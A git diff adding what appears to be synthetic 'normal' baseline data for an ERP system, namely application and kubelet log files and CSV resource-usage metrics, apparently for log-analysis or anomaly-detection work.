a/norm_dataset/scenario_9/norm_9_26.log b/norm_dataset/scenario_9/norm_9_26.log new file mode 100644 index 0000000000000000000000000000000000000000..2829dca3bbb8a683dc71a59168b5f6ed2691cfb7 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_26.log @@ -0,0 +1,90 @@ +Jul 15 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:00:05 erp-app[1976]: INFO User 412 logged in successfully +Jul 15 10:00:10 erp-app[1869]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:00:15 erp-app[1022]: GET /api/v1/user/503 status=200 OK +Jul 15 10:00:20 erp-app[1676]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:00:25 erp-app[1082]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:00:30 erp-app[1077]: GET /api/v1/dashboard status=200 OK +Jul 15 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 15 10:00:40 erp-app[1050]: INFO User 101 logged in successfully +Jul 15 10:00:45 erp-app[1771]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:00:50 erp-app[1880]: INFO User 101 logged in successfully +Jul 15 10:00:55 erp-app[1347]: WARN Invalid login attempt for user: admin +Jul 15 10:01:00 erp-app[1249]: INFO User 205 updated profile +Jul 15 10:01:05 erp-app[1890]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:01:10 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:15 erp-app[1053]: POST /api/v1/items/search status=200 OK +Jul 15 10:01:20 erp-app[1989]: POST /api/v1/items/search status=200 OK +Jul 15 10:01:25 erp-app[1824]: INFO User 301 logged in successfully +Jul 15 10:01:30 erp-app[1852]: GET /api/v1/dashboard status=200 OK +Jul 15 10:01:35 erp-app[1074]: INFO User 205 logged in successfully +Jul 15 10:01:40 erp-app[1737]: GET /api/v1/user/412 status=200 OK +Jul 15 10:01:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:01:50 erp-app[1849]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:01:55 erp-app[1434]: INFO User 301 logged in successfully +Jul 15 10:02:00 erp-app[1307]: INFO User 205 updated profile +Jul 15 10:02:05 erp-app[1983]: GET /api/v1/dashboard status=200 OK +Jul 15 10:02:10 erp-app[1541]: INFO User 412 updated profile +Jul 15 10:02:15 erp-app[1562]: INFO User 205 updated profile +Jul 15 10:02:20 systemd[1]: Starting daily clean up activities... +Jul 15 10:02:25 erp-app[1899]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:02:30 erp-app[1329]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:02:35 erp-app[1851]: GET /api/v1/dashboard status=200 OK +Jul 15 10:02:40 erp-app[1545]: WARN Invalid login attempt for user: admin +Jul 15 10:02:45 erp-app[1449]: INFO User 503 logged in successfully +Jul 15 10:02:50 erp-app[1042]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:03:00 erp-app[1662]: GET /api/v1/user/101 status=200 OK +Jul 15 10:03:05 erp-app[1373]: INFO User 301 updated profile +Jul 15 10:03:10 erp-app[1359]: WARN Invalid login attempt for user: admin +Jul 15 10:03:15 erp-app[1194]: POST /api/v1/items/search status=200 OK +Jul 15 10:03:20 erp-app[1666]: WARN Invalid login attempt for user: admin +Jul 15 10:03:25 erp-app[1060]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:03:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:03:35 erp-app[1788]: GET /api/v1/user/301 status=200 OK +Jul 15 10:03:40 erp-app[1603]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:03:45 erp-app[1533]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:03:50 erp-app[1644]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:03:55 erp-app[1345]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:00 erp-app[1944]: INFO User 205 logged in successfully +Jul 15 10:04:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 15 10:04:10 erp-app[1922]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:04:15 erp-app[1248]: GET /api/v1/dashboard status=200 OK +Jul 15 10:04:20 erp-app[1213]: INFO User 101 updated profile +Jul 15 10:04:25 erp-app[1830]: INFO User 301 updated profile +Jul 15 10:04:30 erp-app[1336]: WARN Invalid login attempt for user: admin +Jul 15 10:04:35 erp-app[1256]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:04:40 systemd[1]: Starting daily clean up activities... +Jul 15 10:04:45 erp-app[1691]: GET /api/v1/user/503 status=200 OK +Jul 15 10:04:50 erp-app[1027]: INFO User 205 updated profile +Jul 15 10:04:55 erp-app[1364]: INFO User 205 updated profile +Jul 15 10:05:00 erp-app[1311]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:05:05 erp-app[1622]: GET /api/v1/user/301 status=200 OK +Jul 15 10:05:10 erp-app[1750]: INFO User 301 updated profile +Jul 15 10:05:15 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:20 erp-app[1805]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:05:25 erp-app[1014]: GET /api/v1/user/301 status=200 OK +Jul 15 10:05:30 erp-app[1630]: WARN Invalid login attempt for user: admin +Jul 15 10:05:35 erp-app[1713]: GET /api/v1/reports/quarterly status=200 OK +Jul 15 10:05:40 erp-app[1272]: INFO User 101 updated profile +Jul 15 10:05:45 erp-app[1125]: INFO User 205 updated profile +Jul 15 10:05:50 systemd[1]: Starting daily clean up activities... +Jul 15 10:05:55 erp-app[1211]: GET /api/v1/dashboard status=200 OK +Jul 15 10:06:00 erp-app[1393]: GET /api/v1/dashboard status=200 OK +Jul 15 10:06:05 erp-app[1108]: GET /api/v1/user/101 status=200 OK +Jul 15 10:06:10 erp-app[1110]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:06:15 erp-app[1622]: INFO User 205 logged in successfully +Jul 15 10:06:20 erp-app[1747]: WARN Invalid login attempt for user: admin +Jul 15 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment +Jul 15 10:06:30 erp-app[1612]: GET /api/v1/invoices?page=1 status=200 OK +Jul 15 10:06:35 erp-app[1281]: INFO User 412 logged in successfully +Jul 15 10:06:40 erp-app[1442]: WARN Invalid login attempt for user: admin +Jul 15 10:06:45 erp-app[1876]: WARN Invalid login attempt for user: admin +Jul 15 10:06:50 erp-app[1376]: INFO User 503 logged in successfully +Jul 15 10:06:55 erp-app[1661]: GET /api/v1/dashboard status=200 OK +Jul 15 10:07:00 systemd[1]: Starting daily clean up activities... +Jul 15 10:07:05 erp-app[1349]: INFO User 412 logged in successfully +Jul 15 10:07:10 erp-app[1758]: GET /api/v1/user/101 status=200 OK +Jul 15 10:07:15 erp-app[1542]: GET /api/v1/user/301 status=200 OK +Jul 15 10:07:20 erp-app[1547]: WARN Invalid login attempt for user: admin +Jul 15 10:07:25 erp-app[1467]: WARN Invalid login attempt for user: admin diff --git a/norm_dataset/scenario_9/norm_9_27.csv b/norm_dataset/scenario_9/norm_9_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..f517aee0d62c87b1395b2ed3e40f0e3e4cb02dd6 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-15T10:00:00Z,12.64,39.66,34.05,0.72,0.82 +2025-07-15T10:00:05Z,10.81,37.97,30.64,1.01,1.14 +2025-07-15T10:00:10Z,14.63,43.33,29.02,0.99,0.71 +2025-07-15T10:00:15Z,15.6,39.6,25.67,1.05,0.79 +2025-07-15T10:00:20Z,10.16,37.62,27.05,1.26,0.9 +2025-07-15T10:00:25Z,16.95,41.29,27.74,1.0,0.8 +2025-07-15T10:00:30Z,15.74,39.11,24.58,0.83,0.62 +2025-07-15T10:00:35Z,14.04,43.43,27.57,0.87,1.03 +2025-07-15T10:00:40Z,16.94,38.87,22.76,1.04,0.55 +2025-07-15T10:00:45Z,16.32,39.34,32.31,0.95,0.96 +2025-07-15T10:00:50Z,10.61,39.53,32.38,0.93,0.92 +2025-07-15T10:00:55Z,21.0,41.58,23.65,1.2,0.89 +2025-07-15T10:01:00Z,18.27,39.16,35.42,0.97,1.08 +2025-07-15T10:01:05Z,15.44,40.27,38.45,0.91,0.96 +2025-07-15T10:01:10Z,16.01,38.25,25.45,1.11,0.78 +2025-07-15T10:01:15Z,20.39,37.12,36.33,0.86,1.18 +2025-07-15T10:01:20Z,17.06,39.59,39.24,1.14,0.73 +2025-07-15T10:01:25Z,13.34,39.18,31.51,0.7,0.84 +2025-07-15T10:01:30Z,19.12,38.65,31.22,1.06,1.15 +2025-07-15T10:01:35Z,17.07,40.97,27.52,1.17,0.76 +2025-07-15T10:01:40Z,22.97,39.01,22.18,1.4,1.34 +2025-07-15T10:01:45Z,12.58,40.19,25.28,1.0,1.05 +2025-07-15T10:01:50Z,17.02,39.11,21.29,0.65,0.86 +2025-07-15T10:01:55Z,18.57,39.51,37.44,0.99,0.96 +2025-07-15T10:02:00Z,16.69,40.85,27.85,0.99,0.77 +2025-07-15T10:02:05Z,21.46,41.57,28.85,1.08,0.71 +2025-07-15T10:02:10Z,19.21,38.5,27.79,0.95,0.92 +2025-07-15T10:02:15Z,11.98,40.87,28.02,0.83,0.66 +2025-07-15T10:02:20Z,21.54,41.03,24.21,1.38,0.78 +2025-07-15T10:02:25Z,18.22,38.43,24.11,0.98,1.13 +2025-07-15T10:02:30Z,14.62,40.76,38.46,1.06,0.93 +2025-07-15T10:02:35Z,15.86,39.34,21.45,0.73,0.97 +2025-07-15T10:02:40Z,17.98,41.1,32.85,1.12,0.87 +2025-07-15T10:02:45Z,17.07,40.49,30.65,0.99,0.68 +2025-07-15T10:02:50Z,20.32,39.84,31.4,1.2,1.21 +2025-07-15T10:02:55Z,15.29,37.24,26.22,1.36,0.93 +2025-07-15T10:03:00Z,16.52,37.71,27.17,1.14,0.74 +2025-07-15T10:03:05Z,21.22,38.59,30.47,0.92,0.94 +2025-07-15T10:03:10Z,16.0,41.69,22.91,1.2,0.79 +2025-07-15T10:03:15Z,11.62,40.7,20.76,0.7,1.11 +2025-07-15T10:03:20Z,16.75,41.15,38.32,0.72,1.37 +2025-07-15T10:03:25Z,12.53,40.53,30.53,0.77,0.55 +2025-07-15T10:03:30Z,16.92,38.83,33.64,0.94,1.15 +2025-07-15T10:03:35Z,17.72,42.5,39.28,0.85,1.03 +2025-07-15T10:03:40Z,8.98,40.17,33.72,0.94,0.76 +2025-07-15T10:03:45Z,17.42,35.79,33.82,1.06,0.79 +2025-07-15T10:03:50Z,13.48,43.38,33.29,0.71,1.13 +2025-07-15T10:03:55Z,9.73,39.18,33.03,0.81,1.23 +2025-07-15T10:04:00Z,16.4,37.86,34.01,0.99,1.05 +2025-07-15T10:04:05Z,15.6,41.9,32.72,1.09,1.04 +2025-07-15T10:04:10Z,12.16,40.98,30.74,1.09,1.13 +2025-07-15T10:04:15Z,13.42,43.49,27.97,0.79,1.37 +2025-07-15T10:04:20Z,13.39,39.52,30.42,0.96,0.56 +2025-07-15T10:04:25Z,12.38,39.1,27.28,0.93,0.78 +2025-07-15T10:04:30Z,15.03,40.55,23.31,1.09,0.95 +2025-07-15T10:04:35Z,12.86,42.96,28.72,1.09,0.45 +2025-07-15T10:04:40Z,10.7,42.29,29.24,1.19,0.6 +2025-07-15T10:04:45Z,12.21,36.54,36.44,0.96,1.27 +2025-07-15T10:04:50Z,13.31,40.38,20.17,0.8,0.95 +2025-07-15T10:04:55Z,15.33,35.27,22.68,0.94,0.68 +2025-07-15T10:05:00Z,11.81,37.95,35.94,0.75,0.75 +2025-07-15T10:05:05Z,9.89,43.79,28.46,0.79,0.95 +2025-07-15T10:05:10Z,13.01,39.55,30.96,0.98,1.16 +2025-07-15T10:05:15Z,10.91,38.22,27.89,0.93,1.03 +2025-07-15T10:05:20Z,12.3,41.46,31.01,0.82,0.84 +2025-07-15T10:05:25Z,9.68,39.13,20.33,1.08,0.73 +2025-07-15T10:05:30Z,12.62,40.65,34.05,1.7,1.28 +2025-07-15T10:05:35Z,12.49,41.24,24.81,1.38,0.74 +2025-07-15T10:05:40Z,13.37,35.0,26.32,1.19,1.22 +2025-07-15T10:05:45Z,10.92,43.2,33.25,1.07,0.61 +2025-07-15T10:05:50Z,9.03,40.28,24.83,1.2,0.88 +2025-07-15T10:05:55Z,14.13,42.47,29.81,1.05,0.7 +2025-07-15T10:06:00Z,11.42,38.43,33.43,0.99,0.92 +2025-07-15T10:06:05Z,15.0,41.15,36.83,0.86,0.88 +2025-07-15T10:06:10Z,8.97,37.44,38.55,0.94,1.06 +2025-07-15T10:06:15Z,9.16,41.09,17.06,0.63,0.58 +2025-07-15T10:06:20Z,11.24,39.7,33.16,0.94,0.48 +2025-07-15T10:06:25Z,11.34,40.29,31.04,0.82,0.94 +2025-07-15T10:06:30Z,17.3,41.46,23.75,0.75,0.82 +2025-07-15T10:06:35Z,11.27,37.49,22.85,1.28,1.13 +2025-07-15T10:06:40Z,10.44,37.78,23.17,0.96,0.98 +2025-07-15T10:06:45Z,13.8,42.79,32.31,0.92,0.83 +2025-07-15T10:06:50Z,16.34,40.27,33.49,0.93,1.12 +2025-07-15T10:06:55Z,12.91,40.06,28.68,0.95,0.79 +2025-07-15T10:07:00Z,14.6,39.29,32.79,0.88,0.64 +2025-07-15T10:07:05Z,12.51,40.91,32.61,1.0,0.96 +2025-07-15T10:07:10Z,15.87,37.52,32.37,1.14,0.39 +2025-07-15T10:07:15Z,13.69,41.16,21.97,1.01,0.82 +2025-07-15T10:07:20Z,10.34,38.08,34.51,0.97,0.82 +2025-07-15T10:07:25Z,11.55,38.76,34.37,1.2,0.89 diff --git a/norm_dataset/scenario_9/norm_9_27.log b/norm_dataset/scenario_9/norm_9_27.log new file mode 100644 index 0000000000000000000000000000000000000000..8bab264bac6441d7f1aa10d02ffa40f45d4b9b4e --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_27.log @@ -0,0 +1,140 @@ +Jul 15 10:00:02 erp-app[1550]: INFO User 'user_2' generated receipt for customer 'CUST-394' +Jul 15 10:00:08 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:00:09 erp-app[1550]: INFO User 'user_5' logged in successfully from IP 192.168.1.20 +Jul 15 10:00:10 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:00:12 erp-app[1550]: DEBUG Database query executed in 32ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:00:15 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:00:22 erp-app[1550]: INFO User 'user_4' logged in successfully from IP 192.168.1.150 +Jul 15 10:00:28 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-679 status=200 OK +Jul 15 10:00:32 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:00:36 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:00:40 erp-app[1550]: DEBUG Database query executed in 25ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:00:40 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:00:42 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:00:48 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-110' +Jul 15 10:00:49 erp-app[1550]: INFO User 'user_4' generated receipt for customer 'CUST-449' +Jul 15 10:00:54 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-301' +Jul 15 10:00:55 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-106 status=200 OK +Jul 15 10:01:01 erp-app[1550]: DEBUG Database query executed in 28ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:01:04 erp-app[1550]: INFO User 'user_1' logged in successfully from IP 192.168.1.142 +Jul 15 10:01:07 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:01:10 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-144' +Jul 15 10:01:15 erp-app[1550]: INFO User 'user_1' logged in successfully from IP 192.168.1.18 +Jul 15 10:01:17 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:01:21 erp-app[1550]: INFO User 'user_2' logged in successfully from IP 192.168.1.20 +Jul 15 10:01:22 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:01:28 erp-app[1550]: DEBUG Database query executed in 95ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:01:34 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-852 status=200 OK +Jul 15 10:01:35 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:01:36 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-978 status=200 OK +Jul 15 10:01:42 erp-app[1550]: INFO User 'user_2' viewed customer dashboard for 'CUST-192' +Jul 15 10:01:45 erp-app[1550]: INFO User 'user_7' logged in successfully from IP 192.168.1.20 +Jul 15 10:01:49 erp-app[1550]: INFO User 'user_5' logged in successfully from IP 192.168.1.20 +Jul 15 10:01:52 erp-app[1550]: INFO User 'user_2' logged in successfully from IP 192.168.1.18 +Jul 15 10:01:59 erp-app[1550]: DEBUG Database query executed in 18ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:02:03 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:02:08 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:02:09 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:02:10 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-565 status=200 OK +Jul 15 10:02:17 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-556 status=200 OK +Jul 15 10:02:20 erp-app[1550]: INFO User 'user_6' logged in successfully from IP 192.168.1.150 +Jul 15 10:02:27 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:02:33 erp-app[1550]: INFO User 'user_7' logged in successfully from IP 192.168.1.110 +Jul 15 10:02:36 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:02:44 erp-app[1550]: DEBUG Database query executed in 126ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:02:46 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-480' +Jul 15 10:02:52 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-702 status=200 OK +Jul 15 10:02:56 erp-app[1550]: INFO User 'user_3' viewed customer dashboard for 'CUST-269' +Jul 15 10:03:01 erp-app[1550]: INFO User 'user_1' logged in successfully from IP 192.168.1.150 +Jul 15 10:03:07 erp-app[1550]: INFO User 'user_7' viewed customer dashboard for 'CUST-341' +Jul 15 10:03:13 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-323' +Jul 15 10:03:13 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:03:16 erp-app[1550]: INFO User 'user_2' logged in successfully from IP 192.168.1.110 +Jul 15 10:03:16 erp-app[1550]: INFO User 'user_5' logged in successfully from IP 192.168.1.20 +Jul 15 10:03:20 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:03:22 erp-app[1550]: INFO User 'user_1' generated receipt for customer 'CUST-180' +Jul 15 10:03:24 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-393' +Jul 15 10:03:26 erp-app[1550]: DEBUG Database query executed in 121ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:03:27 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-195 status=200 OK +Jul 15 10:03:31 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-159 status=200 OK +Jul 15 10:03:31 erp-app[1550]: INFO User 'user_2' logged in successfully from IP 192.168.1.142 +Jul 15 10:03:35 erp-app[1550]: INFO User 'user_5' logged in successfully from IP 192.168.1.150 +Jul 15 10:03:39 erp-app[1550]: INFO User 'user_7' viewed customer dashboard for 'CUST-367' +Jul 15 10:03:41 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:03:47 erp-app[1550]: INFO User 'user_4' logged in successfully from IP 192.168.1.142 +Jul 15 10:03:52 erp-app[1550]: INFO User 'user_4' viewed customer dashboard for 'CUST-150' +Jul 15 10:03:57 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:04:00 erp-app[1550]: INFO User 'user_2' logged in successfully from IP 192.168.1.18 +Jul 15 10:04:03 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:04:08 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:04:12 erp-app[1550]: DEBUG Database query executed in 70ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:04:14 erp-app[1550]: INFO User 'user_6' viewed customer dashboard for 'CUST-440' +Jul 15 10:04:19 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:04:22 erp-app[1550]: INFO User 'user_6' logged in successfully from IP 192.168.1.110 +Jul 15 10:04:25 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:04:29 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-463 status=200 OK +Jul 15 10:04:30 erp-app[1550]: INFO User 'user_6' logged in successfully from IP 192.168.1.110 +Jul 15 10:04:38 erp-app[1550]: DEBUG Database query executed in 150ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:04:39 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-727 status=200 OK +Jul 15 10:04:42 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-500' +Jul 15 10:04:45 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:04:47 erp-app[1550]: INFO User 'user_1' viewed customer dashboard for 'CUST-390' +Jul 15 10:04:50 erp-app[1550]: INFO User 'user_6' generated receipt for customer 'CUST-170' +Jul 15 10:04:51 erp-app[1550]: DEBUG Database query executed in 24ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:04:55 erp-app[1550]: DEBUG Database query executed in 77ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:05:00 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:05:04 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-885 status=200 OK +Jul 15 10:05:05 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-752 status=200 OK +Jul 15 10:05:07 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:05:09 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:05:14 erp-app[1550]: INFO User 'user_6' viewed customer dashboard for 'CUST-140' +Jul 15 10:05:16 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:05:19 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-286' +Jul 15 10:05:20 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-421 status=200 OK +Jul 15 10:05:23 erp-app[1550]: DEBUG Database query executed in 105ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:05:23 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-582 status=200 OK +Jul 15 10:05:25 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-310' +Jul 15 10:05:29 erp-app[1550]: INFO User 'user_4' generated receipt for customer 'CUST-355' +Jul 15 10:05:31 erp-app[1550]: DEBUG Database query executed in 35ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:05:33 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-239' +Jul 15 10:05:34 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:05:36 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:05:41 erp-app[1550]: INFO User 'user_5' generated receipt for customer 'CUST-389' +Jul 15 10:05:44 erp-app[1550]: INFO User 'user_4' generated receipt for customer 'CUST-329' +Jul 15 10:05:45 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:05:46 erp-app[1550]: INFO User 'user_4' viewed customer dashboard for 'CUST-419' +Jul 15 10:05:51 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:05:52 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:05:54 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-356 status=200 OK +Jul 15 10:05:59 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-472 status=200 OK +Jul 15 10:06:00 erp-app[1550]: DEBUG Database query executed in 125ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:06:09 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:06:10 erp-app[1550]: INFO User 'user_5' viewed customer dashboard for 'CUST-121' +Jul 15 10:06:12 erp-app[1550]: DEBUG Database query executed in 30ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:06:15 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-871 status=200 OK +Jul 15 10:06:18 erp-app[1550]: INFO User 'user_7' viewed customer dashboard for 'CUST-483' +Jul 15 10:06:22 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:06:27 erp-app[1550]: INFO User 'user_3' viewed customer dashboard for 'CUST-252' +Jul 15 10:06:34 erp-app[1550]: INFO User 'user_7' logged in successfully from IP 192.168.1.20 +Jul 15 10:06:35 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:06:37 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:06:43 erp-app[1550]: INFO User 'user_3' generated receipt for customer 'CUST-312' +Jul 15 10:06:44 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:06:49 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:06:49 erp-app[1550]: INFO User 'user_6' logged in successfully from IP 192.168.1.142 +Jul 15 10:06:53 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:06:55 erp-app[1550]: INFO User 'user_1' generated receipt for customer 'CUST-313' +Jul 15 10:06:58 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:07:03 erp-app[1550]: INFO User 'user_4' generated receipt for customer 'CUST-342' +Jul 15 10:07:04 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:07:04 erp-app[1550]: INFO User 'user_7' generated receipt for customer 'CUST-279' +Jul 15 10:07:06 erp-app[1550]: DEBUG Database query executed in 136ms: SELECT * FROM ledgers WHERE date='2025-07-15' +Jul 15 10:07:07 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:07:09 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:07:14 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:07:16 erp-app[1550]: INFO GET /api/v1/users/me status=200 OK +Jul 15 10:07:18 erp-app[1550]: INFO GET /api/v1/invoices/INV20250715-582 status=200 OK +Jul 15 10:07:22 erp-app[1550]: INFO POST /api/v1/journal/entry status=201 CREATED +Jul 15 10:07:26 kubelet[2345]: INFO Liveness probe succeeded for pod erp-deployment-xyz +Jul 15 10:07:28 erp-app[1550]: INFO User 'user_3' viewed customer dashboard for 'CUST-331' diff --git a/norm_dataset/scenario_9/norm_9_28.csv b/norm_dataset/scenario_9/norm_9_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..060121100d51c868467037309449e9297543c1b7 --- /dev/null +++ b/norm_dataset/scenario_9/norm_9_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-29T14:00:00Z,58.66,60.74,43.64,2.77,2.6 +2025-08-29T14:00:05Z,53.25,65.21,50.43,2.34,3.26 +2025-08-29T14:00:10Z,48.56,62.7,38.86,2.7,3.79 +2025-08-29T14:00:15Z,56.77,66.21,31.92,2.24,3.06 +2025-08-29T14:00:20Z,55.99,66.03,38.02,2.48,2.81 +2025-08-29T14:00:25Z,51.36,65.41,34.08,2.94,2.33 +2025-08-29T14:00:30Z,56.4,63.81,45.59,2.22,2.77 +2025-08-29T14:00:35Z,59.97,65.64,43.8,2.31,2.67 +2025-08-29T14:00:40Z,55.24,63.61,43.69,2.14,2.6 +2025-08-29T14:00:45Z,51.28,64.73,47.89,2.16,1.5 +2025-08-29T14:00:50Z,53.96,65.2,38.47,2.94,3.31 +2025-08-29T14:00:55Z,54.32,63.95,38.76,2.47,2.22 +2025-08-29T14:01:00Z,53.82,64.95,32.1,2.73,2.88 +2025-08-29T14:01:05Z,54.3,59.7,41.29,1.8,2.58 +2025-08-29T14:01:10Z,60.66,68.82,39.69,2.3,1.96 +2025-08-29T14:01:15Z,48.5,65.19,35.49,3.29,3.47 +2025-08-29T14:01:20Z,57.65,67.87,47.78,2.83,3.21 +2025-08-29T14:01:25Z,51.64,63.56,42.5,3.01,3.38 